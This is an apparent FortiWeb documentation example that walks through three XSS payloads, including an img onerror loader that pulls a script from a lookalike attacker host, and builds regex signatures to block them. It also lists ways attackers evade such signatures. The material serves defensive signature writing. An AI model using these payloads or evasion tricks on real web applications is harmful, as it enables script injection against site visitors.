Example: Zero-day XSS
Example.com is a cloud hosting provider. Large and with a huge surface area for attacks, it makes a tempting target and continuously sees attackers trying new forms of exploits.
Today, its incident response team discovered a previously unknown XSS attack. The attacker had breached the web applications’ own input sanitization defenses and succeeded in embedding 3 new methods of browser attacks in many forum web pages. Example.com wants to write a signature that matches the new browser attacks, regardless of what method is used to inject them.
The first new XSS attack found was:
<img
src=‘/images/nonexistant-file‘
onerror= document.write(
<scr I pt src= www.example.co/xss.js>);
/>
The above attack works by leveraging a client web browser’s error handling against itself. Without actually naming JavaScript, the attack uses the JavaScript error handling event onError() to execute arbitrary code with the HTML <img> tag. The <img> tag’s source is a non-existent image. This triggers the web browser to load an arbitrary script from the attacker’s command-and-control server. To avoid detection, he attacker has even bought a DNS name that looks like one of example.com’s legitimate servers: www.example.co.
The incident response team has also found two other classes of XSS that evades the forum’s own XSS sanitizers (which only look for injection of <script> and <object> tags). The first one exploits a web browser’s parser by tricking it with additional quotes in an unexpected place:
<img """><script>alert("XSS")</script>">
The second one exploits the nature of all web pages with images and other external files. Other than the web page itself, all images, scripts, styles, media, and objects cause the web browser to make secondary HTTP requests: one for each component of the web page. Here, the <img> tag causes the client’s web browser to make a request that is actually an injection attempt on another web site.
<img src="http://other.example.com/command.php?variable=attackcode">
The incident response team has written 3 regular expressions to detect each of the above XSS attack classes, as well as similar permutations that use HTML tags other than <img>:
• <(.*)src(\s)*=(\s)*[‘’‘”](\s)*(.*)(\s)*[‘’‘”](\s)*onError
• <(.*)[‘’‘”][‘’‘”]*(.*)>(\s)*<script>
• <(\s)*[^(<script)](\s)*src(\s)*=(\s)*(http|https|ftp|\\\\|\/\/)(.*)\?
To form a single signature that can check for any of the 3 new attacks, the team joins those 3 regular expressions by using pipe ( | ) characters between them in
Expression:
Setting name | Value |
| Signature creation |
| <(.*)src(\s)*=(\s)*[‘’‘”](\s)*(.*)(\s)*[‘’‘”](\s)*onError |<(.*)[‘’‘”][‘’‘”]*(.*)>(\s)*<script> |<(\s)*[^(<script)](\s)*src(\s)*=(\s)*(http|https|ftp|\\\\|\/\/)(.*)\? |
| Alert & Deny |
| High |
| notification-servers1 |
| Attackers can try many techniques to evade detection by signatures. When writing custom attack signatures for FortiWeb, or when sanitizing corrupted content via rewriting, consider that smart attackers: • instead of explicitly injecting JavaScript statements such as document.write();, inject CSS or object HTML that either implicitly uses JavaScript or achieves the same purpose (and therefore will not be caught by sanitizers rejecting JavaScript only syntax) • use alternate encodings such as hexadecimal, Base64 or HTML entities instead of character in the encoding specified in the web page’s charset • follow or break up valid tags with ignored special characters, such as slashes, spaces, tabs, bells, or carriage returns • use characters that are functionally equivalent, such as single quotes ( ’ ) or back ticks ( ‘ ) instead of double quotes ( “” ) These may be functionally ignored or gracefully handled by a web browser or server’s parser, but will allow the attack to slip by your signature if it is not carefully crafted In the above example, the attacker uses the back tick ( ‘ ) used instead of quotes, avoids the literal mention of javascript:, and does not match a regular expression that requires the exact, unvaried HTML tag <script>. Your regular expression should be flexible enough to account for these cases. |
| If content has already been corrupted by a successful attack, you can simultaneously sanitize all server responses and notify the response team of specific corrupted URLs. This can help your incident response team to quickly clean the impacted applications and databases. See “Example: Sanitizing poisoned HTML”. |
See also